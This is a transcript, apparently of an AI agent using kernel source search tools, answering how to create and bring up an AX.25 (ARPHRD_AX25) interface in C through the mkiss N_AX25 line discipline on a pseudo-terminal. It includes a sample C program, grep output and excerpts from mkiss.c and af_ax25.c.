    unlockpt(fd);
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    /* 2. Set line discipline to N_AX25. 
       This creates the 'ax%d' network interface. 
       Requires sudo / CAP_NET_ADMIN. */
    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Check if 'mkiss' module is loaded and you have CAP_NET_ADMIN.\n");
        return 1;
    }

    /* 3. Get the name of the created interface from the TTY */
    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 4. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    /* Get current flags */
    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    /* Set IFF_UP flag */
    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    printf("Interface %s is now UP and has type ARPHRD_AX25.\n", ifname);

    /* The interface exists as long as the TTY file descriptor is open. */
    printf("Press Enter to close the TTY and destroy the interface...\n");
    getchar();

    close(sfd);
    close(fd);
    return 0;
}
```

### Key Details:
*   **Kernel Module**: Ensure the `mkiss` module is loaded (`modprobe mkiss`). The `ax25` stack module will be loaded automatically as a dependency.
*   **Privileges**: Creating network interfaces and bringing them up requires `CAP_NET_ADMIN` (usually running as `root` or via `sudo`).
*   **Persistence**: The network interface is tied to the TTY session. If your program closes the TTY file descriptor or exits, the kernel will automatically unregister the `ax%d` device.
*   **Hardware Address**: By default, `mkiss` assigns the callsign `LINUX-1`. You can change it using `SIOCSIFHWADDR` on the TTY or the socket while the interface is DOWN.
*   **Verification**: You can verify the interface type and status using `ip link show ax0` or `ifconfig ax0`. It will show `link/ax25` (which corresponds to `ARPHRD_AX25`) and the `UP` flag.]

gemini-3-flash-preview

You are a capable Linux kernel developer tasked with researching complex questions
about kernel source code. You will be given a concrete question, and need to provide
a concrete answer.
Use tools extensively while researching the question. Don't make assumptions,
or rely on your previous knowledge about the kernel source code, use available tools
to access the actual source code.
Use all available sources of information:
 - kernel source code
 - documentation in the Documentation dir in the source tree
 - git commits descriptions, git blame

Prefer calling several tools at the same time to save round-trips.

How to create an AX.25 network interface (ARPHRD_AX25) in a C program on Linux, and bring it UP? I need it to pass `dev->type == ARPHRD_AX25` and `dev->flags & IFF_UP`.

To create an AX.25 network interface (`ARPHRD_AX25`) in a C program and bring it UP, the standard approach is to use a **TTY line discipline**. The Linux kernel provides the `mkiss` driver, which implements the `N_AX25` line discipline. When this line discipline is attached to a TTY (such as a physical serial port or a pseudo-terminal), the kernel automatically creates a corresponding network interface (usually named `ax0`, `ax1`, etc.).

### Steps to create and bring UP an AX.25 interface:

1.  **Open a TTY**: You can use a real serial port (e.g., `/dev/ttyS0`) or a pseudo-terminal (PTY) if you want a virtual interface.
2.  **Set the Line Discipline**: Use the `TIOCSETD` ioctl to set the line discipline to `N_AX25` (value 5). This requires `CAP_NET_ADMIN` privileges.
3.  **Get the Interface Name**: Use the `SIOCGIFNAME` ioctl on the TTY file descriptor to retrieve the name of the newly created network device.
4.  **Bring the Interface UP**: Use a socket and the `SIOCSIFFLAGS` ioctl to set the `IFF_UP` flag on the interface.

### Example C Program

The following program creates a virtual AX.25 interface using a PTY and brings it UP.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>

/* N_AX25 is line discipline 5 */
#ifndef N_AX25
#define N_AX25 5
#endif

int main() {
    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;

    /* 1. Open a PTY master/slave pair to create a virtual TTY */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    /* 2. Set line discipline to N_AX25. 
       This creates the 'ax%d' network interface. 
       Requires sudo / CAP_NET_ADMIN. */
    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Check if 'mkiss' module is loaded and you have CAP_NET_ADMIN.\n");
        return 1;
    }

    /* 3. Get the name of the created interface from the TTY */
    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 4. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    /* Get current flags */
    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    /* Set IFF_UP flag */
    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    printf("Interface %s is now UP and has type ARPHRD_AX25.\n", ifname);

    /* The interface exists as long as the TTY file descriptor is open. */
    printf("Press Enter to close the TTY and destroy the interface...\n");
    getchar();

    close(sfd);
    close(fd);
    return 0;
}
```

### Key Details:
*   **Kernel Module**: Ensure the `mkiss` module is loaded (`modprobe mkiss`). The `ax25` stack module will be loaded automatically as a dependency.
*   **Privileges**: Creating network interfaces and bringing them up requires `CAP_NET_ADMIN` (usually running as `root` or via `sudo`).
*   **Persistence**: The network interface is tied to the TTY session. If your program closes the TTY file descriptor or exits, the kernel will automatically unregister the `ax%d` device.
*   **Hardware Address**: By default, `mkiss` assigns the callsign `LINUX-1`. You can change it using `SIOCSIFHWADDR` on the TTY or the socket while the interface is DOWN.
*   **Verification**: You can verify the interface type and status using `ip link show ax0` or `ifconfig ax0`. It will show `link/ax25` (which corresponds to `ARPHRD_AX25`) and the `UP` flag.

gemini-3-flash-preview

							input: 3256
							output: 21
							thoughts: 162
						

**Creating an AX.25 Network Interface in C**

Okay, so the user wants to know how to *programmatically* create and bring up an AX.25 network interface in C. I need to figure out the standard approach. AX.25 is amateur radio stuff, right? Right, and I know that network interfaces are typically brought up via `rtnetlink`, ioctls, or the drivers themselves.

Given the context, I immediately think of the "kiss" or "bpq" interfaces, because those are the usual suspects. My initial thought is that `mkiss` or `socat` or similar TTY-to-AX.25 tools likely handle the low-level details of attaching the TTY to the AX.25 stack.

Therefore, let's start by digging into the kernel source, specifically looking for `ARPHRD_AX25`. That's the interface type identifier, and if I can find where that's used, that should show me how these interfaces are actually initialized and created. I'm hoping to understand how that translation from TTY to network works. From there, writing the C code shouldn't be too hard.

map[Expression:ARPHRD_AX25]

map[Output:drivers/net/hamradio/6pack.c=298=static void sp_setup(struct net_device *dev)
--
drivers/net/hamradio/6pack.c-306-	dev->addr_len		= AX25_ADDR_LEN;
drivers/net/hamradio/6pack.c:307:	dev->type		= ARPHRD_AX25;
drivers/net/hamradio/6pack.c-308-	dev->tx_queue_len	= 10;
--
drivers/net/hamradio/6pack.c=627=static int sixpack_ioctl(struct tty_struct *tty, unsigned int cmd,
--
drivers/net/hamradio/6pack.c-657-		                       AX25_MAX_HEADER_LEN + 3;
drivers/net/hamradio/6pack.c:658:		dev->type            = ARPHRD_AX25;
drivers/net/hamradio/6pack.c-659-
--
drivers/net/hamradio/baycom_epp.c=1123=static void baycom_probe(struct net_device *dev)
--
drivers/net/hamradio/baycom_epp.c-1149-	
drivers/net/hamradio/baycom_epp.c:1150:	dev->type = ARPHRD_AX25;           /* AF_AX25 device */
drivers/net/hamradio/baycom_epp.c-1151-	dev->hard_header_len = AX25_MAX_HEADER_LEN + AX25_BPQ_HEADER_LEN;
--
drivers/net/hamradio/bpqether.c=438=static void bpq_setup(struct net_device *dev)
--
drivers/net/hamradio/bpqether.c-451-
drivers/net/hamradio/bpqether.c:452:	dev->type            = ARPHRD_AX25;
drivers/net/hamradio/bpqether.c-453-	dev->hard_header_len = AX25_MAX_HEADER_LEN + AX25_BPQ_HEADER_LEN;
--
drivers/net/hamradio/hdlcdrv.c=630=static void hdlcdrv_setup(struct net_device *dev)
--
drivers/net/hamradio/hdlcdrv.c-673-	
drivers/net/hamradio/hdlcdrv.c:674:	dev->type = ARPHRD_AX25;           /* AF_AX25 device */
drivers/net/hamradio/hdlcdrv.c-675-	dev->hard_header_len = AX25_MAX_HEADER_LEN + AX25_BPQ_HEADER_LEN;
--
drivers/net/hamradio/mkiss.c=639=static void ax_setup(struct net_device *dev)
--
drivers/net/hamradio/mkiss.c-644-	dev->addr_len        = AX25_ADDR_LEN;
drivers/net/hamradio/mkiss.c:645:	dev->type            = ARPHRD_AX25;
drivers/net/hamradio/mkiss.c-646-	dev->tx_queue_len    = 10;
--
drivers/net/hamradio/mkiss.c=688=static int mkiss_open(struct tty_struct *tty)
--
drivers/net/hamradio/mkiss.c-719-	/* Restore default settings */
drivers/net/hamradio/mkiss.c:720:	dev->type = ARPHRD_AX25;
drivers/net/hamradio/mkiss.c-721-
--
drivers/net/hamradio/mkiss.c=809=static int mkiss_ioctl(struct tty_struct *tty, unsigned int cmd,
--
drivers/net/hamradio/mkiss.c-840-		                       AX25_MAX_HEADER_LEN + 3;
drivers/net/hamradio/mkiss.c:841:		dev->type            = ARPHRD_AX25;
drivers/net/hamradio/mkiss.c-842-
--
drivers/net/hamradio/scc.c=1561=static void scc_net_setup(struct net_device *dev)
--
drivers/net/hamradio/scc.c-1569-
drivers/net/hamradio/scc.c:1570:	dev->type = ARPHRD_AX25;
drivers/net/hamradio/scc.c-1571-	dev->hard_header_len = AX25_MAX_HEADER_LEN + AX25_BPQ_HEADER_LEN;
--
drivers/net/hamradio/yam.c=1078=static void yam_setup(struct net_device *dev)
--
drivers/net/hamradio/yam.c-1102-
drivers/net/hamradio/yam.c:1103:	dev->type = ARPHRD_AX25;
drivers/net/hamradio/yam.c-1104-	dev->hard_header_len = AX25_MAX_HEADER_LEN;
--
include/uapi/linux/if_arp.h-32-#define	ARPHRD_EETHER	2		/* Experimental Ethernet	*/
include/uapi/linux/if_arp.h:33:#define	ARPHRD_AX25	3		/* AX.25 Level 2		*/
include/uapi/linux/if_arp.h-34-#define	ARPHRD_PRONET	4		/* PROnet token ring		*/
--
net/ax25/af_ax25.c=129=static int ax25_device_event(struct notifier_block *this, unsigned long event,
--
net/ax25/af_ax25.c-137-	/* Reject non AX.25 devices */
net/ax25/af_ax25.c:138:	if (dev->type != ARPHRD_AX25)
net/ax25/af_ax25.c-139-		return NOTIFY_DONE;
--
net/core/dev.c=480=static const unsigned short netdev_lock_type[] = {
net/core/dev.c:481:	 ARPHRD_NETROM, ARPHRD_ETHER, ARPHRD_EETHER, ARPHRD_AX25,
net/core/dev.c-482-	 ARPHRD_PRONET, ARPHRD_CHAOS, ARPHRD_IEEE802, ARPHRD_ARCNET,
--
net/ipv4/arp.c=546=struct sk_buff *arp_create(int type, int ptype, __be32 dest_ip,
--
net/ipv4/arp.c-599-#if IS_ENABLED(CONFIG_AX25)
net/ipv4/arp.c:600:	case ARPHRD_AX25:
net/ipv4/arp.c:601:		arp->ar_hrd = htons(ARPHRD_AX25);
net/ipv4/arp.c-602-		arp->ar_pro = htons(AX25_P_IP);
--
net/ipv4/arp.c=703=static int arp_process(struct net *net, struct sock *sk, struct sk_buff *skb)
--
net/ipv4/arp.c-750-		break;
net/ipv4/arp.c:751:	case ARPHRD_AX25:
net/ipv4/arp.c-752-		if (arp->ar_pro != htons(AX25_P_IP) ||
net/ipv4/arp.c:753:		    arp->ar_hrd != htons(ARPHRD_AX25))
net/ipv4/arp.c-754-			goto out_free_skb;
--
net/ipv4/arp.c=1418=static void arp_format_neigh_entry(struct seq_file *seq,
--
net/ipv4/arp.c-1429-#if IS_ENABLED(CONFIG_AX25)
net/ipv4/arp.c:1430:	if (hatype == ARPHRD_AX25 || hatype == ARPHRD_NETROM)
net/ipv4/arp.c-1431-		ax2asc2((ax25_address *)n->ha, hbuffer);
--
net/netrom/nr_route.c=553=static struct net_device *nr_ax25_dev_get(char *devname)
--
net/netrom/nr_route.c-559-
net/netrom/nr_route.c:560:	if ((dev->flags & IFF_UP) && dev->type == ARPHRD_AX25)
net/netrom/nr_route.c-561-		return dev;
--
net/rose/af_rose.c=231=static int rose_device_event(struct notifier_block *this,
--
net/rose/af_rose.c-245-		break;
net/rose/af_rose.c:246:	case ARPHRD_AX25:
net/rose/af_rose.c-247-		rose_link_device_down(dev);
--
net/rose/rose_route.c=591=static struct net_device *rose_ax25_dev_find(char *devname)
--
net/rose/rose_route.c-597-
net/rose/rose_route.c:598:	if ((dev->flags & IFF_UP) && dev->type == ARPHRD_AX25)
net/rose/rose_route.c-599-		return dev;
]

gemini-3-flash-preview

							input: 6149
							output: 19
							thoughts: 307
						

**My Analysis of AX.25 Driver Usage**

Okay, so the `grep` results are pointing me towards these drivers: `mkiss.c`, `6pack.c`, `bpqether.c`, `yam.c`, and `scc.c`. They all seem to be setting `dev->type = ARPHRD_AX25`, so they're related to AX.25, that's clear.

Looking at them more closely, `mkiss` and `6pack` are likely working as line disciplines for TTYs, that tracks. `bpqether`... ah, that’s AX.25 over Ethernet. Makes sense.

If a developer wants to work with AX.25 in their C code, the simplest approach I'm thinking is to leverage a pseudo-terminal, a PTY.  Then they could attach the `mkiss` line discipline to it. That sounds like the cleanest path.

Now, let's dive into `drivers/net/hamradio/mkiss.c` to see how it's actually implemented. Looks like it does indeed implement a line discipline, as suspected. I see `mkiss_open` being called; that's the hook that gets executed when the line discipline is set. So, the sequence is: open a TTY (PTY or a serial port), and then, importantly, set the line discipline to something like `N_AX25`.

I need to quickly check the includes, probably `include/uapi/linux/tty.h` or somewhere similar to get the exact line discipline number. I assume it's there.

map[Expression:N_AX25]

map[Output:Documentation/networking/6pack.rst=108=has to be modified.
--
Documentation/networking/6pack.rst-113-    #ifndef N_6PACK
Documentation/networking/6pack.rst:114:    #define N_6PACK (N_AX25+1)
Documentation/networking/6pack.rst-115-    #endif
--
Documentation/networking/6pack.rst-118-
Documentation/networking/6pack.rst:119:    int disc = N_AX25;
Documentation/networking/6pack.rst-120-
Documentation/networking/6pack.rst:121:  and replace N_AX25 by N_6PACK.
Documentation/networking/6pack.rst-122-
--
drivers/net/hamradio/mkiss.c=938=static struct tty_ldisc_ops ax_ldisc = {
drivers/net/hamradio/mkiss.c-939-	.owner		= THIS_MODULE,
drivers/net/hamradio/mkiss.c:940:	.num		= N_AX25,
drivers/net/hamradio/mkiss.c-941-	.name		= "mkiss",
--
drivers/net/hamradio/mkiss.c=976=MODULE_LICENSE("GPL");
drivers/net/hamradio/mkiss.c:977:MODULE_ALIAS_LDISC(N_AX25);
drivers/net/hamradio/mkiss.c-978-
--
include/uapi/linux/tty.h-14-#define N_STRIP		4
include/uapi/linux/tty.h:15:#define N_AX25		5
include/uapi/linux/tty.h-16-#define N_X25		6	/* X.25 async */
]

gemini-3-flash-preview

							input: 7286
							output: 44
							thoughts: 65
						

Here's my take on those thoughts:

**Dissecting the AX.25 Connection**

Alright, let's nail down what's happening here. My initial thought is that `N_AX25` is definitely line discipline number 5. That's a given. And when you actually *set* `N_AX25` on a TTY, the `mkiss` program essentially conjures a network interface. That's the core of how it works.

Now, I need to understand the mechanics a bit more. I should start looking at `mkiss_open`. Specifically in `drivers/net/hamradio/mkiss.c`. That should give me a solid handle on how this connection magic *actually* gets pulled off.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:mkiss_open]

map[SourceCode: 688:	static int mkiss_open(struct tty_struct *tty)
 689:	{
 690:		struct net_device *dev;
 691:		struct mkiss *ax;
 692:		int err;
 693:	
 694:		if (!capable(CAP_NET_ADMIN))
 695:			return -EPERM;
 696:		if (tty->ops->write == NULL)
 697:			return -EOPNOTSUPP;
 698:	
 699:		dev = alloc_netdev(sizeof(struct mkiss), "ax%d", NET_NAME_UNKNOWN,
 700:				   ax_setup);
 701:		if (!dev) {
 702:			err = -ENOMEM;
 703:			goto out;
 704:		}
 705:	
 706:		ax = netdev_priv(dev);
 707:		ax->dev = dev;
 708:	
 709:		spin_lock_init(&ax->buflock);
 710:		refcount_set(&ax->refcnt, 1);
 711:		init_completion(&ax->dead);
 712:	
 713:		ax->tty = tty;
 714:		tty->disc_data = ax;
 715:		tty->receive_room = 65535;
 716:	
 717:		tty_driver_flush_buffer(tty);
 718:	
 719:		/* Restore default settings */
 720:		dev->type = ARPHRD_AX25;
 721:	
 722:		/* Perform the low-level AX25 initialization. */
 723:		err = ax_open(ax->dev);
 724:		if (err)
 725:			goto out_free_netdev;
 726:	
 727:		err = register_netdev(dev);
 728:		if (err)
 729:			goto out_free_buffers;
 730:	
 731:		/* after register_netdev() - because else printk smashes the kernel */
 732:		switch (crc_force) {
 733:		case 3:
 734:			ax->crcmode  = CRC_MODE_SMACK;
 735:			printk(KERN_INFO "mkiss: %s: crc mode smack forced.\n",
 736:			       ax->dev->name);
 737:			break;
 738:		case 2:
 739:			ax->crcmode  = CRC_MODE_FLEX;
 740:			printk(KERN_INFO "mkiss: %s: crc mode flexnet forced.\n",
 741:			       ax->dev->name);
 742:			break;
 743:		case 1:
 744:			ax->crcmode  = CRC_MODE_NONE;
 745:			printk(KERN_INFO "mkiss: %s: crc mode disabled.\n",
 746:			       ax->dev->name);
 747:			break;
 748:		case 0:
 749:		default:
 750:			crc_force = 0;
 751:			printk(KERN_INFO "mkiss: %s: crc mode is auto.\n",
 752:			       ax->dev->name);
 753:			ax->crcmode  = CRC_MODE_SMACK_TEST;
 754:		}
 755:		ax->crcauto = (crc_force ? 0 : 1);
 756:	
 757:		netif_start_queue(dev);
 758:	
 759:		/* Done.  We have linked the TTY line to a channel. */
 760:		return 0;
 761:	
 762:	out_free_buffers:
 763:		kfree(ax->rbuff);
 764:		kfree(ax->xbuff);
 765:	
 766:	out_free_netdev:
 767:		free_netdev(dev);
 768:	
 769:	out:
 770:		return err;
 771:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3-flash-preview

							input: 8747
							output: 21
							thoughts: 84
						

Okay, here's my take on those thoughts, framed as my own:

**Analyzing AX.25 TTY Device Creation**

Right, so I'm thinking about how to set up an AX.25 network device. My first instinct is to open a TTY, set its line discipline to `N_AX25`. That seems the most logical way to do it. And, hey, the value 3 for `N_AX25` looks suspiciously like `ARPHRD_AX25`, which is the AX.25 hardware type code. Interesting coincidence, I should check that.

Okay, so I should look in `include/uapi/linux/tty.h`, that’s where line disciplines are defined. I need to make sure I know *exactly* what value `N_AX25` is. Just to be sure, of course. Need to check that definition.

map[Expression:#define N_AX25]

map[Output:include/uapi/linux/tty.h-14-#define N_STRIP		4
include/uapi/linux/tty.h:15:#define N_AX25		5
include/uapi/linux/tty.h-16-#define N_X25		6	/* X.25 async */
]

gemini-3-flash-preview

							input: 9133
							output: 43
							thoughts: 195
						

**Creating and Managing AX.25 Interfaces**

Okay, so I'm looking at how to bring up an AX.25 interface programmatically. Let's see... `N_AX25` is defined as 5, and `ARPHRD_AX25` is 3. That makes sense, standard definitions.

Alright, the process seems pretty straightforward: first, open a TTY, which I'm assuming is done using a standard `open()` call with appropriate flags. Then, it looks like a `TIOCSETD` `ioctl` call is used, setting the line discipline to `N_AX25`. That part is clear.

Now, once that's done, I should have an AX.25 interface, probably named something like `ax0`, `ax1`, and so on.

The next thing I'm interested in is bringing the interface "UP," which typically involves setting interface flags. I would usually go for the `SIOCSIFFLAGS` `ioctl` call on a socket.

The wrinkle with AX.25 is often the need for a hardware address, or callsign, before the interface can be fully operational. The question I have now is if `mkiss` allows me to bring it up without a callsign, before configuring that. I'll need to dig into `mkiss` more. Let's check where `ax_open` is called from. I see it's called within `mkiss_open`. Alright, let's look at `ax_open` and how that's all implemented in the source to determine if that's supported.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax_open]

map[SourceCode: 569:	/* Open the low-level part of the AX25 channel. Easy! */
 570:	static int ax_open(struct net_device *dev)
 571:	{
 572:		struct mkiss *ax = netdev_priv(dev);
 573:		unsigned long len;
 574:	
 575:		if (ax->tty == NULL)
 576:			return -ENODEV;
 577:	
 578:		/*
 579:		 * Allocate the frame buffers:
 580:		 *
 581:		 * rbuff	Receive buffer.
 582:		 * xbuff	Transmit buffer.
 583:		 */
 584:		len = dev->mtu * 2;
 585:	
 586:		/*
 587:		 * allow for arrival of larger UDP packets, even if we say not to
 588:		 * also fixes a bug in which SunOS sends 512-byte packets even with
 589:		 * an MSS of 128
 590:		 */
 591:		if (len < 576 * 2)
 592:			len = 576 * 2;
 593:	
 594:		if ((ax->rbuff = kmalloc(len + 4, GFP_KERNEL)) == NULL)
 595:			goto norbuff;
 596:	
 597:		if ((ax->xbuff = kmalloc(len + 4, GFP_KERNEL)) == NULL)
 598:			goto noxbuff;
 599:	
 600:		ax->mtu	     = dev->mtu + 73;
 601:		ax->buffsize = len;
 602:		ax->rcount   = 0;
 603:		ax->xleft    = 0;
 604:	
 605:		ax->flags   &= (1 << AXF_INUSE);      /* Clear ESCAPE & ERROR flags */
 606:	
 607:		spin_lock_init(&ax->buflock);
 608:	
 609:		return 0;
 610:	
 611:	noxbuff:
 612:		kfree(ax->rbuff);
 613:	
 614:	norbuff:
 615:		return -ENOMEM;
 616:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3-flash-preview

							input: 10402
							output: 49
							thoughts: 167
						

**AX.25 Device Initialization - A Quick Dive**

Okay, so `ax_open`... that's just buffer allocation. No surprises there. But, wait a minute, `mkiss_open` is calling `register_netdev(dev)`. That's where things get interesting. `register_netdev` is the function that actually *creates* the device. But the critical question is, *is* the device automatically brought up?

Typically, bringing a network interface 'UP' involves setting the `IFF_UP` flag, right? And usually, that's handled from userspace via something like `ifconfig` or `ip link set up`. So, the question remains: are there any specific requirements or nuances for AX.25 devices when it comes to being brought up?

To find out, I'll need to dig into the AX.25 code, specifically `net/ax25/af_ax25.c`. There's usually a notifier mechanism involved for these kinds of events. Let's see... I'm thinking I need to find the handler. Let's start by looking for something like `ax25_dev_device_up`. No, that's not it. Okay, let me go with `ax25_device_event` and see if that is the notifier I am looking for.

map[ContextFile:net/ax25/af_ax25.c IncludeLines:true Name:ax25_device_event]

map[SourceCode: 126:	/*
 127:	 *	Handle device status changes.
 128:	 */
 129:	static int ax25_device_event(struct notifier_block *this, unsigned long event,
 130:				     void *ptr)
 131:	{
 132:		struct net_device *dev = netdev_notifier_info_to_dev(ptr);
 133:	
 134:		if (!net_eq(dev_net(dev), &init_net))
 135:			return NOTIFY_DONE;
 136:	
 137:		/* Reject non AX.25 devices */
 138:		if (dev->type != ARPHRD_AX25)
 139:			return NOTIFY_DONE;
 140:	
 141:		switch (event) {
 142:		case NETDEV_UP:
 143:			ax25_dev_device_up(dev);
 144:			break;
 145:		case NETDEV_DOWN:
 146:			ax25_kill_by_device(dev);
 147:			ax25_rt_device_down(dev);
 148:			ax25_dev_device_down(dev);
 149:			break;
 150:		default:
 151:			break;
 152:		}
 153:	
 154:		return NOTIFY_DONE;
 155:	}
 SourceFile:net/ax25/af_ax25.c]

gemini-3-flash-preview

							input: 11343
							output: 51
							thoughts: 22
						

Here's my summary, as the expert:

**Tracing the AX.25 Device Activation**

Okay, so we're looking at the activation sequence, and the key call here is `ax25_dev_device_up(dev)`. That's the function that's going to bring a particular AX.25 device online. My mind immediately starts to run through the internals, imagining the data structures being manipulated, the flags being set, and the likely interactions with the network stack. I'm visualizing the `dev` pointer, and I'm instantly thinking about what context we're in – are we in a user-space utility, a kernel module, or something else? Understanding the calling context is going to give me crucial hints as to why and how the device is coming up. I'm wondering if there's any preceding setup; has the device's configuration already been loaded, or is that part of this function's responsibility? My experience tells me there will be checks for interface state, address configuration, and probably some initial packet transmissions to probe connectivity. I'll need to drill down into the implementation of `ax25_dev_device_up()` to see precisely what's happening.

map[ContextFile:net/ax25/ax25_dev.c IncludeLines:true Name:ax25_dev_device_up]

map[SourceCode:  49:	/*
  50:	 *	This is called when an interface is brought up. These are
  51:	 *	reasonable defaults.
  52:	 */
  53:	void ax25_dev_device_up(struct net_device *dev)
  54:	{
  55:		ax25_dev *ax25_dev;
  56:	
  57:		ax25_dev = kzalloc_obj(*ax25_dev);
  58:		if (!ax25_dev) {
  59:			printk(KERN_ERR "AX.25: ax25_dev_device_up - out of memory\n");
  60:			return;
  61:		}
  62:	
  63:		refcount_set(&ax25_dev->refcount, 1);
  64:		ax25_dev->dev     = dev;
  65:		netdev_hold(dev, &ax25_dev->dev_tracker, GFP_KERNEL);
  66:		ax25_dev->forward = NULL;
  67:		ax25_dev->device_up = true;
  68:	
  69:		ax25_dev->values[AX25_VALUES_IPDEFMODE] = AX25_DEF_IPDEFMODE;
  70:		ax25_dev->values[AX25_VALUES_AXDEFMODE] = AX25_DEF_AXDEFMODE;
  71:		ax25_dev->values[AX25_VALUES_BACKOFF]   = AX25_DEF_BACKOFF;
  72:		ax25_dev->values[AX25_VALUES_CONMODE]   = AX25_DEF_CONMODE;
  73:		ax25_dev->values[AX25_VALUES_WINDOW]    = AX25_DEF_WINDOW;
  74:		ax25_dev->values[AX25_VALUES_EWINDOW]   = AX25_DEF_EWINDOW;
  75:		ax25_dev->values[AX25_VALUES_T1]        = AX25_DEF_T1;
  76:		ax25_dev->values[AX25_VALUES_T2]        = AX25_DEF_T2;
  77:		ax25_dev->values[AX25_VALUES_T3]        = AX25_DEF_T3;
  78:		ax25_dev->values[AX25_VALUES_IDLE]	= AX25_DEF_IDLE;
  79:		ax25_dev->values[AX25_VALUES_N2]        = AX25_DEF_N2;
  80:		ax25_dev->values[AX25_VALUES_PACLEN]	= AX25_DEF_PACLEN;
  81:		ax25_dev->values[AX25_VALUES_PROTOCOL]  = AX25_DEF_PROTOCOL;
  82:	
  83:	#ifdef CONFIG_AX25_DAMA_SLAVE
  84:		ax25_dev->values[AX25_VALUES_DS_TIMEOUT]= AX25_DEF_DS_TIMEOUT;
  85:	
  86:		ax25_ds_setup_timer(ax25_dev);
  87:	#endif
  88:	
  89:		spin_lock_bh(&ax25_dev_lock);
  90:		list_add(&ax25_dev->list, &ax25_dev_list);
  91:		rcu_assign_pointer(dev->ax25_ptr, ax25_dev);
  92:		spin_unlock_bh(&ax25_dev_lock);
  93:	
  94:		ax25_register_dev_sysctl(ax25_dev);
  95:	}
 SourceFile:net/ax25/ax25_dev.c]

gemini-3-flash-preview

							input: 12680
							output: 43
							thoughts: 71
						

Okay, here's my assessment of the situation:

**Investigating Call Sign Handling in a Potential APRS Implementation**

Right, so I'm looking at this code, and the first thing I notice is that there doesn't seem to be an explicit check for a callsign. That's a bit odd, usually, when dealing with APRS and AX.25, the callsign is pretty fundamental. However, I'm making a mental note here that a lot of devices that are `ARPHRD_AX25`, which this seems to relate to, typically identify themselves using a callsign as part of their hardware address.

The `mkiss` device, in particular, I suspect, and I'll confirm this, probably defaults to having an all-zeros hardware address, or something equally innocuous, at least until it's configured. Given the context, I think a closer inspection of `ax_setup` within `mkiss.c` is warranted. Let's see what that function does; that's where the callsign, or lack thereof, would most likely be handled.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax_setup]

map[SourceCode: 639:	static void ax_setup(struct net_device *dev)
 640:	{
 641:		/* Finish setting up the DEVICE info. */
 642:		dev->mtu             = AX_MTU;
 643:		dev->hard_header_len = AX25_MAX_HEADER_LEN;
 644:		dev->addr_len        = AX25_ADDR_LEN;
 645:		dev->type            = ARPHRD_AX25;
 646:		dev->tx_queue_len    = 10;
 647:		dev->header_ops      = &ax25_header_ops;
 648:		dev->netdev_ops	     = &ax_netdev_ops;
 649:	
 650:	
 651:		memcpy(dev->broadcast, &ax25_bcast, AX25_ADDR_LEN);
 652:		dev_addr_set(dev, (u8 *)&ax25_defaddr);
 653:	
 654:		dev->flags      = IFF_BROADCAST | IFF_MULTICAST;
 655:	}
 SourceFile:drivers/net/hamradio/mkiss.c]

gemini-3-flash-preview

							input: 13366
							output: 46
							thoughts: 29
						

Okay, here's my interpretation of that thought process, assuming I'm an expert in this field:

**Decoding the Default AX.25 Address**

Alright, the code has set up this `ax25_defaddr`. My immediate thought is, "Okay, that's the default AX.25 address, got it." But, as an expert, I need to know *what* that address *is*. I can't just take it on face value. I need to understand the specifics of `ax25_defaddr`. What bits are configured? What's the callsign? Is it a broadcast address? Is it a local network address? I'm going to dig into the definition of `ax25_defaddr` and figure out its exact composition. Understanding the default is crucial for understanding how the system behaves and where packets are destined if no other route is specified. So, let's go find that definition and break it down.

map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:ax25_defaddr]

map[SourceCode:  34:	const ax25_address ax25_defaddr =
  35:		{{'L' << 1, 'I' << 1, 'N' << 1, 'U' << 1, 'X' << 1, ' ' << 1, 1 << 1}};
 SourceFile:net/ax25/ax25_addr.c]

gemini-3-flash-preview

							input: 13754
							output: 44
							thoughts: 252
						

**Creating an AX.25 Interface: My Thought Process**

